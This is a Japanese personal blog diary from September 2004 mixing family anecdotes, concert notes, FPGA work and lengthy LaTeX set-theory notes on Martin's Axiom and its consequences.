とのことなのです。うううっ確かに簡単に出来そうです(^^。それでもいまいち納得できず、帰りの電車の中で一生懸命考えたのですが、問題は底面の正七角形が確定していない状態で最後の一枚を「張り合わせる」部分にあると思うのでして、最後の一枚を張り合わせる時に、他の 6枚の角度に対する「調整が必要」なわけで、これは力学的には「エネルギー最小」な方向に向って調整可能で、現実にはうまくゆくと思うのですが、その「エネルギー最小」を表現する方程式が、二次方程式の列に還元不可能なのだと思うのであります。

いずれにしてもとても充実した楽しいコンサートでした(^^。

番号曲名備考

オープニングまっくら森の歌倫典さん伴奏

MOONSONG 倫典さん伴奏

1-1 きみはたんぽぽ AQ さん登場・ピアノなし

1-2 さよならのかわりにピアノなし

2-1 片恋の唄ピアノなし・第七官界彷徨より

3-1 恋するニワトリここからピアノ合流

3-2 LADY DAISY

4-1 鳥籠姫お友達ちになりたくない女の子

4-2 キャンディーヌ

4-3 七角錐の少女

5-1 催眠レインコートこんな目にあいたくない

5-2 骨の駅

6-1 世界一不幸なトナカイ幻想図書館・雪の女王より

6-1 カイの迷宮

エンディングよその子

アンコール裸足の君を僕がしってる

アンコールカントリーガール

2004年9月18日(土)

猫森集会初日
行ってきました。詳細は明日。でも帰ってから Mezzo Piano 聴きながら仕事してたりします。VHDL ということでコンパイル環境が自宅にないので、ひたすらコーディングなのですが、これって案外つらいのです。とにかく徹夜してでも今日中に目処をつけて猫森完全集中モードに入る予定なのでした(^^。
数学ってひきょう？
奥さまと話していたら、10⁰ はどうして 1 になるのかという話題になったのですが、もちろんこれは簡単に説明出来まして、例えば、 10² x 10³ = 10²⁺³ = 100000 という指数法則を考えれば 10² x 10⁰ = 10²⁺⁰ = 100 なので 10⁰ は 1 以外になりえないという説明をしたのです。ところが奥さま曰く！学生時代からそういう考えが「ひきょうな気がする」と感じていたそうなのです。つまり、
上の論法だと 10⁰ = 1 とならないとつじつまが合わないからそれが成り立つ、というのだけど、そこがなんとなくひきょうだと思う。同様に「背理法」なんかもひきょうな感じがする。
ということなのです。そこで数学的帰納法は問題ないのかと聞いたところ、それは全く問題がないそうな。うーむ、さすが私の奥さま！！(^^。なかなか鋭いところをついてくるものです。実際、この考えは 19世紀から 20世紀初頭の「直観主義」という、数学の研究対象を自然数を基礎とした有限的に構成可能 (数学的帰納法を含む)なものに限定しようとする考え方にかなり近いと思われるのです。さらに奥さまの疑惑は、
$\phi~\vee~\neg~\phi$
という論理式の真偽に対応すると思われる概念に及び(直感主義者は上の論理式が真であるとは限らないと主張した)、いよいよ直観主義者としての本性をあわらにしてきたのであります(^^。こういう場合、私としては「整合性がある定式化なので間違いないであろう」という、ある意味安易な(でも大切な感覚だと思う)考えをするのですが、奥さまの感覚は、存在や真に関する真面目な考察した場合に生ずるものであると思われるのです。
そんなこんなで色々と話をしたのですが、私が「今の普通の数学は『有限的な推論』で無限を考察したりするし、無限に対する背理法も有限的な推論で『正しい』ことが保証されているので、問題は推論にあるのではなく、その様な方法で得られた『無限』等の概念に対する解釈が正しいかどうかという方なのでは」などと言いまして、その後文系的な考え方と理系的な考え方の違いとか、イデアの世界とか、いろいろと話がふくらんで、なかなか楽しい時間を過ごすことが出来たのであります(^^。

2004年9月17日(金)

スズメバチ大暴れ
昨日の夜奥さまと話してたら、なんと夕方に洗濯物をとりこんだところ、服にスズメバチが付いてて、それが家の中を飛び回ったそうな。普通のハチでもやなのに、スズメバチともなるとこれは大変でして、モカちゃんと二女がはパニックになるし、外は薄暗くなっていたので窓から出てかないし、とにかく大騒ぎになったそうなのですが、さすが私の奥さま！！。なんと、
ゴキブリ用殺虫剤で退治した(^^;
とのことなのです。いやはや、人間さまとしてはこんな場合なんとかしなけりゃいけないのはもちろんなのですが、よりによってゴキブリ扱いされるとは、ああ、なんと哀れなスズメバチ君よ(^^。ご冥福をお祈り致します。

2004年9月16日(木)

ちゃんと届いた Mezzo Piano
おうちに帰ったら届いてました。今日は聴く時間があるかどうか...。それはそうと今日の午前中位ずっと「今日は金曜日」と勘違いしていまして、仕事の納期も近いのに、「明日から」猫森の方も忙しいし困ったな～、などと考えてたのですが、実は木曜日だったのですね(^^。まあそんなことありえないでしょうが、もし間違いに気が付かなかった場合、明日は会社を無断欠勤して、さらに新宿に出陣してなんにもやってないので唖然とする、という非常にまぬけな事態に陥る所だったのであります。ちなみに、あんまり忙しくない場合、こういう勘違いに気が付いた場合とてもがっかりするのですが、今回はかなりほっとしたというのが本音だったりします(^^。

2004年9月15日(水)

ちっとも来ない Mezzo Piano
本日発売予定で、実際には昨日フライング発売されたようですが、こちらに予約してあるのがまだ未発送だそうでして、あと数日位かかりそうです。これでは今週の土曜日から猫森に間に合いそうにないのですが、あんまり散財する訳にもいかないので、会場で衝動買いしないように注意しなければいけません。 ←サイン色紙付きだったりすると特に危険だったりします(^^。
てなこと書いてたら Amazon.co.jp からのメール来たりて、本日発送されたそうです。明日か明後日届くでしょう。

2004年9月14日(火)

トイレ紙の悲劇
昨日おうちでトイレに入って「大」の方をしたのですが、気がついたら紙が全然なかったりしました(^^。実はおうちのトイレはシャワートイレなので、紙がなくても致命的、というほどではないのですが、なんのかんの色々と不都合があるのです。
- ここ数年シャワーの出があんまり良くない。
- 従ってシャワーを済ませた後、「完全に良い状態^^」になっているか不安が残る。
- シャワーを乾かすために温風が出る機構があるが、乾くまで非常に時間がかかる。
という訳で、やはりシャワートイレとはいえ紙は必須なのです。万が一おうちで紙がない場合の対処ですが、
- 家族のだれかがいる場合は大声を出してティッシュを持ってきてもらうが、みんなとてもいやがる(^^。
- だれもいないときは、とりあえずシャワーでかなり安全な状態にして、なんとか自分でティッシュをとりにゆく(^^。
等々なのです。ところがティッシュ使用の場合余り大量に使うと便器がつまる可能性があるという問題点があり、なるべく小量ですます必要があるのですが、こんどは手の方が大いに危険な状態となる恐れがあったりします(^^。と言う訳で、奥さまが大急ぎで買いに行ってきて下さったのですが、いやはやおうちだから良いようなもので、外でこういう状態には絶対になりたくないものです。

2004年9月13日(月)

オークションで敗戦
先日惜しくも亡くなった、個人的には歴史上最もすばらしい指揮者の一人であると思う、カルロス・クライバー指揮の「リヒャルト・シュトラウス作曲歌劇・ばらの騎士」、ウイーン国立歌劇場管弦楽団バージョンなるものがあるのですが、現在日本語字幕付きの DVD は在庫切れ(絶版？)でして、Yahoo オークションのアラート機能(それらしきものが出品されるとメールが来る)を設定して出品されるのを待っていたのです。すると昨日「未開封品」で最低値が 6.500円で出品されたというアラートがありまして、とりあえず 6,500円を入れて、本日 22時04分の時間切れ直前まで様子を見ていたのです。予算としては 8,500円までならばぎりぎりになってつり上げようと思ったのですが、いやはややはり超人気商品ですな(^^。〆切の 10分くらい前に突然 10,500円の値付けをした人が出まして、その段階で私は予算超過で断念。さらに様子を見ていたところ、最後はちょっとした争いとなり、結局 13,000円で落札された様です。うーむ、やはりこれだけの人気商品となると、安易な価格では落札できませんな。とはいうものの、最近コンサート関連の出費が非常に多いので、入札出来なくてほっとした部分があるのも事実なのでした(^^。
オペラでなければ無理に「日本版」買わなくても良いのですが、さすがに字幕ないときついです。ちなみに 10年くらい前に BS で放送された、やはり同じ指揮者・オケ・配役のを SVHS に録画したのを持っているので(これってかなりレアーかも...)そんなに無理して購入する必要もないのであります。
字幕の話が出たので余談なのですが、例えばワーグナー(嫌い！！)のオペラの場合、実際に普通のドイツ人が予備知識無しで聴いても、歌詞の内容が分らない場合が多いそうな。そのあたりの事情は日本の歌舞伎や文楽とおんなじですな(^^。

2004年9月12日(日)

一回休み

2004年9月11日(土)

Martin の公理の帰結(その２)
[集合論雑記目次]
今日は前回述べたの定理(下に再掲) (c)(d)(e) について証明の概略を記述します。
[定理]
(c) ${\rm~MA(\kappa)}\rightarrow$ [ ${\bf~R}$ の Lebesgue 零集合の $\kappa$ 個の和は Lebesgue 零集合]
(d) ${\rm~MA(\kappa)}\rightarrow[$ ${\bf~R}$ の first category sets の $\kappa$ 個の和は first category]
(e) ${\rm~MA}(\omega_{1})~\rightarrow[$ Suslin の仮説が成立する]
[(c) の証明]
まずは (c) の証明の概略ですが、まず Lebesgue 零集合の特徴付けを思い出します(もう 25年以上やってないから完全に忘れてますな)。
${\bf~R}$ の部分集合 $X$ が Lebesuge 零集合となる条件は任意の $\epsilon>0$ に対し ${X}\subset{U},\,\mu(U)\le\epsilon$ なる開集合 $U$ が存在すること。ただし $\mu$ は実数直線上の通常の Lebesgue 測度とします。
さて上の $\epsilon$ を固定します。さらに ${\rm~MA}(\kappa)$ が成立すると仮定して $(Z_{\alpha})_{\alpha<\kappa}$ を零集合の $\kappa$ 列とします。例のごとく Martin の公理を適用するには、適切な半順序を定義するのが重要なのですが、この定理の証明には固定された $\epsilon$ に対し次の半順序集合を使用します。
${\bf~P}=\{p\subset{\bf~R}\,|\,(p\,\,\mbox{is~open})\wedge(\mu(p)<\epsilon)\}$
半順序は例のごとく ${p}\le{q}\leftrightarrow{q}\subset{p}$ にて定義します。容易に分るように $p,\,q$ が compatible となる条件は $\mu({p}\cup{q})<\epsilon$ となることで、その場合 ${p}\cup{q}$ が共通の拡張となります。さて ${\rm~P}$ が c.c.c を満たすことの証明は後回しにして、次の稠密な集合族を定義します(稠密となることはほとんど明らか)。
$D_{\alpha}~=~\{p\in{\rm~P}\,|\,Z_{\alpha}\subset{p}\}\quad(\alpha<\kappa)$
${\rm~MA}(\kappa)$ が成立しているのでフィルター $G$ が存在し $\forall{\alpha<\kappa}({G}\cap{D_\alpha}\neq{\emptyset})$ が成立します。このとき $U_G=\bigcup{G}$ を考えると $Z_{\alpha}\subset{U_G}~\quad~(\alpha<\kappa)$ が成立し、したがって $\bigcup_{\alpha<\kappa}Z_{\alpha}\subset{U_G}.$ さらに実数直線が開集合の可算基底をもつことと $G$ がフィルターであることを考慮すると $\mu(U_G)\le{\epsilon}$ が成立することは容易に分ります( $G$ の可算個の元で $\bigcup{G}$ を構成できるから)。
最後に残ったのは ${\rm~P}$ が c.c.c を満たすことの証明ですが $A\subset{\rm~P}$ を antichain からなる非可算な部分集合として矛盾を導きます。ところが
$A_n=\{p\in{A}\,|\,\mu(p)<\epsilon-1/n\}\quad~(n~\in~\omega)$
を考えると少なくとも一つの $A_n$ は非可算なので、 $\delta>0$ を固定して、もともとの $A$ が非可算で
$\forall{p\in{A}}(\mu(p)<\epsilon-2\delta)$
であると仮定しても問題ありません。さて有理数を両端とする有界開区間の有限個の和集合からなる可算集合を $\cal{F}$ とします。このとき次の事実が成立することは、可測集合が $\cal{F}$ の要素で(内側から)いくらでも近似可能であることからほとんど明らかです。
[事実]
$\forall{p\in{A}}\exist{f\in{\cal~F}}({f}\subset{p}\,~\wedge~\,~\mu(p-f)<\delta)$
ここで $p,\,q\in{A}\,{p}\neq{q}$ に対して「事実」の $f$ を選択したものをそれぞれ $f_p,\,f_q\in{\cal~F}$ とすると次の証明は容易です。
(i) $\mu({f_p}\cup{f_q})\ge{\epsilon-2\delta}$
(ii) $\mu(f_p)<\epsilon-2\delta$
すなわち ${p}\neq{q}~\rightarrow~{f_p}\neq{f_q}$ が成立しこれは ${\cal~F}$ の可算性に反します。
[(d) の証明]
まず first category set の定義を思い出します(こちらも完全に忘却のさなたなのでありました。たしか「やせた集合(meager set)」という別名が。それでは補集合は「ふとった集合」なのか！などと馬鹿なことを学生時代に言ってたような...)。
[Nowhere dense subset の定義]
位相空間の部分集合の閉包の内部が空集合のとき nowhere dense subset であると言う
[First category set の定義]
位相空間において Nowhere dense subset の可算個の和集合を first category set(第一類集合・やせた集合)と呼ぶ。位相空間の部分集合がが first category であるためには、それが closed nowhere dense sets の可算和の部分集合になれば良い
上の first category set の定義と注釈により ${\rm~MA}(\kappa)$ のもとで次の事実を証明すれば十分です。
$U_{\alpha}\quad(\alpha<\kappa)$ を開稠密(open dense)集合の $\kappa$ 列とするとき、やはり開稠密な $\omega$ 列 $V_{n}\quad(n<\omega)$ が存在して $\bigcap_{n<\omega}V_{n}~\subset~\bigcap_{\alpha<\kappa}U_{\alpha}$
さて肝心の証明なのですが、全部書くと長くなるのと、細かい部分は詳細にチェックすれば良いということで、結論のみを記述することとします。まず次の集合(族)を準備します。
(i) $(I_{n})_{n<{\omega}}$ . 有理数を両端とする開区間の数え上げ
(ii) $P_{m}=\{n<\omega\,|\,I_n\subset{I_m}\}\quad(m<\omega)$
(iii) $Q_{\alpha}=\{n<\omega\,|\,{I_n}\not\subset{U_\alpha}\}\quad(\alpha<\kappa)$
すると
${\cal~A}=\{P_m\,|\,m<\omega\}\cr~{\cal~B}=\{Q_\alpha\,|\,\alpha<\kappa\}$
に対して前回の Solovay の定理を適用することが可能で、その結果得られる集合を $d\subset{\omega}$ として
$V_{n}=\bigcup\{I_m\,|\,{m\in{d}}\,\wedge\,m>n\}$
とするとこれが求めるものとなります。
{(e) の証明]
Suslin 直線と $\omega_1$ -Suslin 木の関連を記述した部分で $\omega_1$ -Suslin 木は常に正規化可能であることを述べました。よって $T$ を正規化した $\omega_1$ -Suslin 木とします。 ${\rm~MA}(\omega_1)$ を仮定して、半順序集合 ${\rm~P}$ として $T$ 自身をとります。ただし ${\rm~P}$ の順序は $T$ の逆順序とします。言い替えると $({\rm~P},{\le}_{\rm~P})~=~(T,{\ge}_T).$ ${\rm~P}$ が c.c.c を満たすのは $T$ が $\omega_1$ -Suslin 木であることからの帰結です。さて次の集合列を考えます。
$D_{\alpha}=\{x\in{T}\,|\,{\rm~ht}(x,T)>\alpha\}\quad(\alpha<\omega_1)$
$T$ が正規化されていることにより $D_{\alpha}$ は ${\rm~P}$ で稠密です。ここで $G\cap{D_{\alpha}}\neq{\emptyset}\quad(\alpha<\omega_1)$ なるフィルター $G$ を考えると、これは非可算な鎖(chain)となり矛盾です。
今回も主に Kenneth Kunen 著 Set Theory を参考にしました。さてひとまず Martin の公理はおしまいにして(同値な言い替えとかまだまだやらなきゃいけないんですが)、次回からはしばらく、書こう書こうと思って後回しになっていた「クラス」「正則性の公理」に関して記述して、さらに Relativization や論理式の絶対性に関しての話題に切り替えて、ゲーデルの ${\bf~L}$ に関する話題や forcing の準備としたいのです。 $\Diamond$ 関連の話題に関しては ${\bf~L}$ と並行して扱う予定です。

2004年9月10日(金)

ちっともその気にならないくわがた君
先日同居させたおおくわがた君達ですが、ほんとの所は良く分らないのですが、いまいちその気になってないような。この前オスが乗っかろうとしたらメスが蹴っ飛ばしの見たし(^^。さらにそのときはメスが餌を食べていたときなので、はたしてオスの方にもその気があったのか、はたまた単に餌を食べたくてちょっかいを出したのかそちらも全く不明だったりします。ただしくわがたを譲って下された方が、飼い方の本も貸して下さったのですが、そちらによりますと、三週間程度時間がかかる場合もあると書いてありますし、仲が悪くけんかをして困るという状態ではないので、しばらく様子をみることにしましょう。
＃本によると「相性が悪い(^^」場合もあるそうでして、
＃その場合はあきらめるしかありませんな。

2004年9月9日(木)

図による記述について
おととい書いたように FPGA の開発を VHDL という言語で始めたのですが、どうもやりかたによっては「回路エディター」なるものを使用して、マウスで線をつなだりして回路を作る方法もあるそうで、なるべくならその方法でという要望があったのです。ところが私はそういう図で表現されたあいまいな論理というか概念を全然理解できないし、さらになにか論理的で真面目な仕事を行うとき、マウスで線をつないだりして作るという安易な発想が好きになれないのです。もちろん GUI の開発に(例えば C++Builder や Delphi みたいな)ぺたぺたパーツを張り付ける方法はなかなか便利ですし、私も良く利用するのですが、これは作るもの自体が「視覚的な表現」を意図したものなので、それに対して「視覚的な道具」を利用するのはさほど問題がないと思うのです(＊)。特に図ではなく「絵」を必要とする場合、こちらも文字で記述した方が良い、などという馬鹿げた考えは持っていません。
それに反して例えば論理的なものを設計・実装する場合は、とても正確な記述が必要なのであり、そのような記述を正しく行う方法は、きちんと定義された文字列によるもの以外にありえないと思うのです。現実には私自身も数学やコンピューター関連のことについて考える場合に、ちょっとした図を書いたりすることはあるのですが、それは間違っている可能性はあるが、とりあえず自分自身がものごとを直感的にとらえるために書くのであり、図を書いている段階では、まだその概念を正確に理解していない状況なのです。従って、そのようなものを「外に出す」ということは(少なくとも真面目な目的の場合)、なんといいますか、概念に対しる未成熟な思考の状態をそのまま表に出してしまうという気がして非常に恥ずかしいし、また誤解も招きやすいと思うのです。
というわけで色々と話をしまして、何とか全部 VHDL で記述することになったのですが、どうも最近なんでも図や見栄えで直感的に(つまりごまかしで)すましてしまおうという考えの人が増えているようで、とてもよろしくない風潮であると考えているのです。
(＊) そうはいうものの、GUI 的なプログラムも、全部文字で記述する方がきちんとしたものが出来ると思います(除・絵の部分)。

2004年9月8日(水)

忙しかった
猫森前までに仕上げなければいけない仕事が二つも...(^^;。

2004年9月7日(火)

ひさびさの FPGA 開発
ちょいと仕事の関係で久しぶりに FPGA の開発なんかを始めたのですが、いやはややはり面倒ですな(^^。こういうのの開発環境は通常のソフトウエアーの 10 年遅れというのが相場でして、いろいろなおまじないをして、雛型のコンパイルを通すまでが一苦労なのです。そもそもあんまりお金をかけないで開発しよう、ということなので FPGA ハードウエアーメーカーが提供している無料ソフトウエアーを使用しているので、機能の制限も多かったりします。それでも昨日から色々準備して、やっと「外形」だけはコンパイルが通りシミュレーションも出来る環境となりまして、後はひたすら記述する状態になったのです。
全然関係ない話ですが、社内で一番良く会話をするこちらの方が今日から二週間お休みをとり、中国に旅行に行ってしまったのです。彼はとっても頭が良く、教養も豊かな人でして、私の数学の話とかもいやな顔をしないで(彼も結構好きらしい)聞いてくれまして、個人的に非常に尊敬しているので、二週間会えないのはとってもさみしいのであります。
＃こちらに私が推薦した本や貸して下さった本に関する感想が
＃色々書いてあったりします(^^。

2004年9月6日(月)

お子さまグーの謎
こんなページでもたまに http://kids.goo.ne.jp/ からアクセスがあるのですが、大体月末になるとフィルターにかかるようになるのです。うーむ、そんなに教育上悪い記事を書いているとは思わないし、算数や数学の勉強にもなる(ならないか...)、という子供にとっては理想のページであると思うのですが、どうしでなんだろう(^^;。そもそも今月の記事も おとといまでは大丈夫だったのに(^^。やはり昨日の記事の表現が エッチすぎたのかな(←あたりまえ)。先月も最初のうちは順調だったのですが、こちら記事を書いてからフィルターにひっかかるようになったのです(^^。まあこのあたりは理由が良く分るのですが、全く問題がなさそうな月の日記もフィルターされてしまう (というか月末になると全滅)のがいくら考えても分らない謎なのであります。

2004年9月5日(日)

おおくわがたエッチ大作戦
先日譲って頂いたおおくわがたなのですが、どうも今頃がエッチに適した季節らしく、運良く子供が出来ればこれはうれしい、ということでさっそくエッチ大作戦発動です。まずは、「産卵木」なるものを買ってきて、それを水につけてふやかしたところで、外側の皮をむいたのを埋めるのです。さらにタンパク質豊富なる餌を準備し、事後に メスがオスを食べるのを防止するのだそうです。そんな準備をしてオスをメスの箱に移動したのが、

オスのクワガタをメスの箱に...
ところが逃げるメス(^^

こんな感じなのです。そしてエッチが終わった頃合いをみて、すぐにオスとメスを分離した方が良いそうなのですが、はてさていったいいつ事を行うのか全く見当がつかないので困ってしまうのであります(^^。
ヘブンリーブルー
奥さまが撮った朝顔でして「天国の青」という意味だそうな。

良く考えてみると、私はとっても朝寝坊なので、徹夜した時以外朝顔の写真は撮れないのでした(^^。

2004年9月4日(土)

Martin の公理の帰結(その１)
[集合論雑記目次]
Martin の公理からは種々の興味深い結果が得られるのでが、その前に Almost disjoint family(ほとんど素な集合族)なる概念を導入します。
[Almost disjoint family(a.d family)]
$\kappa$ を無限基数とします。このとき $\cal{A}\subset{\wp(\kappa)}$ が次の条件を満たすとき Almost disjoint family(a.d family,ほとんど素な集合)であると言います。
$\forall{x\in\cal{A}}(|x|=\kappa)~\,\wedge\,~\forall{x,y\in\cal{A}({x}\neq{y}\rightarrow{|{x}\cap{y}|<\kappa})$
極大な a.d family を m.a.d.f(maximal almost disjoint family) と略すことがあります(Zorn の補題により a.d family を含む m.a.d.f の存在は証明できる)。ここで問題になるのは a.d family がどの位の基数をもつ可能性があるかということなのですが、これに関しては次の事実が知られています。
[定理]
$\kappa$ を正則基数(regular cardinal) $\cal{A}$ を $\kappa$ の m.a.d.f とするとき $|\cal{A}|>\kappa$

$2^{<\kappa}\,<\,\kappa$ のとき $\kappa$ の a.d family で基数が $2^{\kappa}$ なるものが存在する
さて話を Martin の公理に戻しまして、本日は次の定理の証明を記述します。
[定理]
(a) ${\rm~MA}(\kappa)~\rightarrow~$ [ $\wp(\omega)$ の m.a.d.f の基数は $\kappa$ より大きい]
(b) ${\rm~MA(\kappa)}~\rightarrow~\,[2^{\kappa}=2^{\omega}]$
(c) ${\rm~MA}~\rightarrow~\,[2^{\omega}\,\,\mbox{is~regular}]$
気分としては $\rm{MA}$ は非可算なる $2^{\omega}$ より小さい基数は $\omega$ と類似の性質を持っているということであると思うのですが、それに関して本日は証明しませんが、初等的(昔は大難問であった！！)な事実として例えば次の結果が知られています。その他、このあたりは勉強不足で全然分らないのですが、 Martin の公理からは非常に重要な帰結が沢山得られるそうで、そのあたりは将来分った段階で言及したいと考えておます。
[定理]
(c) ${\rm~MA(\kappa)}\rightarrow\,$ [ ${\bf~R}$ の Lebesgue 零集合の $\kappa$ 個の和は Lebesgue 零集合]
(d) ${\rm~MA(\kappa)}\rightarrow[$ ${\bf~R}$ の first category sets の $\kappa$ 個の和は first category]
(e) ${\rm~MA}(\omega_{1})~\rightarrow[$ Suslin の仮説が成立する]
さて (a),(b),(c) を証明するに重要なる次の半順序を考えます。
$\cal{A}$ を $\omega$ の a.d family とするとき
${\rm~P}~=~\{(u,X)\,|\,u\in{\omega}\,\wedge\,~|u|<\omega\,\wedge~~\,X\subset\cal{A}~\,\wedge~\,|X|<\omega\}$
$\rm{P}$ の順序 $\le$ は次のように定義します。すなわち $(u,X)\in{\rm~P},\,(v,Y)\in{\rm~P}$ のとき
${(v,Y)}\le{(u,X)}\,\leftrightarrow~[{u}\subset{v}\,\wedge\,{X}\subset{Y}~\,\wedge\,v\cap\bigcup{X}\subset{u}]$
最後の条件は $\forall{x\in{X}}({x}\cap{v}\subset{u})$ もしくは表現を変えると $\forall{x\in{X}}\forall{n\in{\omega}(n\in{x-u}\rightarrow~n\not\in{v})$ ということです。
[補題]
$(u,X),(v,Y)\in{\rm~P}$ が compatible である条件は $v\cap\bigcup{X}\subset{u}\,\wedge\,u\cap\bigcup{Y}\subset{v}.$ このとき $({u}\cup{v},{X}\cup{Y})$ が共通の拡張となる。
[定義] $G$ を $\rm{P}$ 上のフィルターとするとき
$d_{G}~=~\bigcup\{u\,|\,\exist~X((u,X)\in{G})\}$

$D_x~=~\{(u,X)\,|\,x\in{X}\}$
次の補題が成立します。
[補題]
(a) $(u,X)\in{G}~\rightarrow~\forall{x\in{X}}({d_G}\cap{x}\subset{u})$
(b) ${G}\cap{D_x}\neq{\emptyset}\rightarrow~|{d_G}\cap{x}|<\omega$
(c) $x\in\cal{A}~\rightarrow~[D_x\,\,\mbox{is~dense~in~}{\rm~P}]$
(d) $\rm{P}$ は c.c.c を満たす
まず (a) ですが $(v,Y)\in{G}$ とすると $(u,X)\in~G$ と compatible なので $\forall{x\in{X}}({v}\cap{x}\subset{u})$ により得られます。(b) は (a) と $d_{G}$ の定義により直ちに得られます。また $(u,X)$ を ${\rm~P}$ の要素とするとき $(u,X\cup{\{x\}})~\in~{D_x}$ となるので (c) が成立します。さらに $(u,X),(v,Y)$ が incompatible の場合 ${u}\neq{v}$ であることはすぐに分るので(compatible となる条件参照) ${\rm~P}$ は c.c.c を満たします。
以下の定理群は Solovay によるものです。
[定理(Solovay)] $\rm{MA}(\kappa)$ を仮定し $\cal{A},\cal{B}~\subset~\wp(\omega)$ を二つの部分集合として、次の条件を満たすとします。
$|\cal{A}|\le{\kappa},\,|\cal{B}|\le{\kappa},\,~\forall{y\in\cal{B}}\forall~X\subset\cal{A}~(|X|<\omega~\rightarrow~|y~-~\bigcup{X}|=\omega)$

このとき $d\subset{\omega}$ で $\forall{x\in\cal{A}}(|{d}\cap{x}|<\omega)\,\wedge\,~\forall{y\in\cal{B}}(|{d}\cap{y}|=\omega)$ なるものが存在する。
$y\in\cal{B},\,n\in\omega$ に対して $E_n^{y}~=~\{(x,X)\in{\rm~P}\,|\,X\in\cal{A}\,\wedge\,~|X|<\omega\,\wedge\,{x}\cap{y}\not\subset{n}\}$ を考え、有限な $X\subset\cal{A}$ に対して $|y~-~\bigcup{X}|~=~\omega$ なので $n<m$ なる $m\in{y~-~\bigcup{X}}$ を考えると $({x}\cup\{m\},X)$ は $E_n^{y}$ の要素となることから、各 $E_n^{y}$ は ${\rm~P}$ で稠密(dense)であることが分ります。さて大分長くなって来たのですが ${\rm~MA}(\kappa)$ の仮定により $(D_x)_{x\in\cal{A}},\,(E_n^y)_{n\in\omega,\,y\in\cal{B}}$ の全てと空でない共通部分を持つフィルター $G$ が存在し、そのフィルターに対する $d_G$ を考えると定理の条件を満たすことが分ります。さてここまで準備をすると (a)(b)(c) の証明は簡単で
(a) $\rm{MA}(\kappa)\rightarrow~[\wp(\omega)$ の m.a.d.f の基数は $\kappa$ より大きい]
$|\cal{A}|\le{\kappa},\,\cal{B}=\{\omega\}$ とすると前定理の仮定を満たし $\cal{A}$ は m.a.d.f とはなりえない。
(b) ${\rm~MA(\kappa)}~\rightarrow~\,[2^{\kappa}=2^{\omega}]$
$|\cal{C}|=\kappa$ なる a.d family を考え $\cal{A}\subset\cal{C}$ とするとき $\cal{A},\,\cal{B}=\cal{C}-\cal{A}$ に前定理を適用すると $\forall{x\in\cal{A}}(|{d}\cap{x}|<\omega)\,\wedge\,~\forall{y\in\cal{C}-\cal{A}}(|{d}\cap{y}|=\omega)$ なる $d\subset\omega$ が存在します。ここで $\omega$ の部分集合 x を $\{z\in\cal{C}\,:\,|{x}\cap{z}|<\omega}$ に対応させる $\wp(\omega)$ から $\wp(\cal{C})$ への関数を考えるとこれは上への写像(全写)となります。
(c) ${\rm~MA}~\rightarrow~\,[2^{\omega}\,\,\mbox{is~regular}]$
$\omega~\le~\kappa~\lt~2^\omega$ のとき $\rm{MA}(\kappa)$ のもとで $2^\kappa~=~2^\omega$ となる。従って $\kappa~<~\rm{cf}(2^\omega)$
今回は Kenneth Kunen 著 Set Theory を大いに参考にしました。もう少し証明の流れを変えたいところですが、他の本をながめても似たような流れなので、これは仕方がないのかも知れません。

2004年9月3日(金)

今日から出社
夏休みも終わって今日から出社です。本当は休み中昼夜逆転の生活は極力避けようと思ったのですが、案の定かなりの時差が発生したのです。なので本日の朝寝たのが 4時頃で今はとっても眠かったりします。まあ今日一日ぼちぼちやり過ごせば明日からまた休み、ということでなんとかなるでしょ(^^。

2004年9月2日(木)

浩子さんソロコンサート日程
本日 MC が届きましてソロコンサートの日程がほぼ確定したようです。というわけで、谷山浩子さんのページのイベントカレンダーを更新したのです。あと猫森のチケットが届きました。
夏休み最終日
例のごとくだらだら過ごしているうちに、今日が夏休み最終日です。ところであんまりごろごろしているのもよろしくないということで、特に買いたいものがあるわけではなかったのですが、昨日ひさびさに秋葉原に行ってきたのです。駅の近くのお店をいくつか探索したのですが、やはりこれといって購入意欲をそそる商品もなく(もちろん欲しいのはいろいろあるのですが当然予算というものがあるわけで...)、さらに X24 に張り付けようと「デーモン君エンブレム」を買いにプラットホームへ行ったのですが、こちらも品切れということで、結局 600円の全く面白みがない USB mini-B ケーブル (AH-K3001V で使うの) を買って、さらに吉野屋で「ぶたどん」を食べただけといういまいち実りの少ない探索だったのでありました(^^。
(おまけ) 奥さまが撮った朝顔の写真。「あかつき」というそうな。

2004年9月1日(水)

Martin の公理
[集合論雑記目次]
$\kappa$ を無限基数とするとき、次の公理を基数 $\kappa$ に対する Martin の公理(Martin's Axiom)と称し ${\rm~MA}(\kappa)$ で表す。
$[{\rm~MA}(\kappa)]$
$({\bf~P},\,\leq)$ を(今後単に ${\bf~P}$ と表す場合も多い)を c.c.c を満たす半順序集合(p.o.s)とし ${\cal~D}$ を $|{\cal~D}|=\kappa$ を満たす ${\bf~P}$ の稠密(dense)な部分集合からなる集合とする。このとき ${\bf~P}$ 上のフィルター $G$ で $\forall{D\in{\cal~D}}({G}\cap{D}\neq{\emptyset})$ なるものが存在する。

[Martin の公理]
Martin の公理とは次の主張である。
$\forall~\kappa<2^{\omega}({\rm~MA}(\kappa))$

$p,q\in{\bf~P}$ が $p~\le~q$ を満たす時 $p$ は $q$ より強いと称します。即ち小さい方が強いと考えるのです。また ${\bf~P}$ は集合の包含関係(もしくはその組合せ)から導出された半順序である場合が多いのですが、その場合 ${\bf~P}$ の順序は包含関係と逆になっている場合が多いので注意が必要です。また ${\bf~P}$ が木の部分集合の場合「木の根が一番弱く(最大元)」上方に枝が伸びるほど強くなる(小さくなる)順序を考えるのがが普通です。 ${\rm~MA}(\kappa)$ というか Generic の定義は(少なくとも私にとっては)最初みたとき全く意味不明だったのですが、色々な半順序に対しての実例を学習すると、とても自然なものに思えてくるところが不思議と言うか、やはり本質的な概念の特徴かなと思うのです。
{定理]
${\rm~MA}(\omega)$ は真(ZFC から証明可能)
${\rm~MA}(2^{\omega})$ は偽(否定が ZFC から証明可能)

まず ${\rm~MA}(\omega)$ が真であることですが $(D_{n})_{n\in{\omega}}$ を ${\bf~P}$ の可算な稠密集合の列とします。そのときおのおのの $D_n$ が稠密であることから次の減少列を構成可能です。
$x_0~\ge~x_1~\ge~\cdots~\ge~x_n~\ge~\cdots~\quad(x_n\in{D_n})$
ここで $G$ を $(x_n)_{n\in{\omega}}$ から生成されたフィルター、即ち
$G=\{x\in{\bf~P}\,|\,\exist{n\in{\omega}}(x_n\le{x})\}~$
とすれば条件を満たします。次に ${\rm~MA}(2^\omega)$ が偽であることですが、これを証明するために次の半順序集合を考えます。
${\bf~P}=\{p\subset{\omega\times{2}}\,:\,|p|<\omega\,\wedge\,p\,\,\mbox{is~a~function}\}$
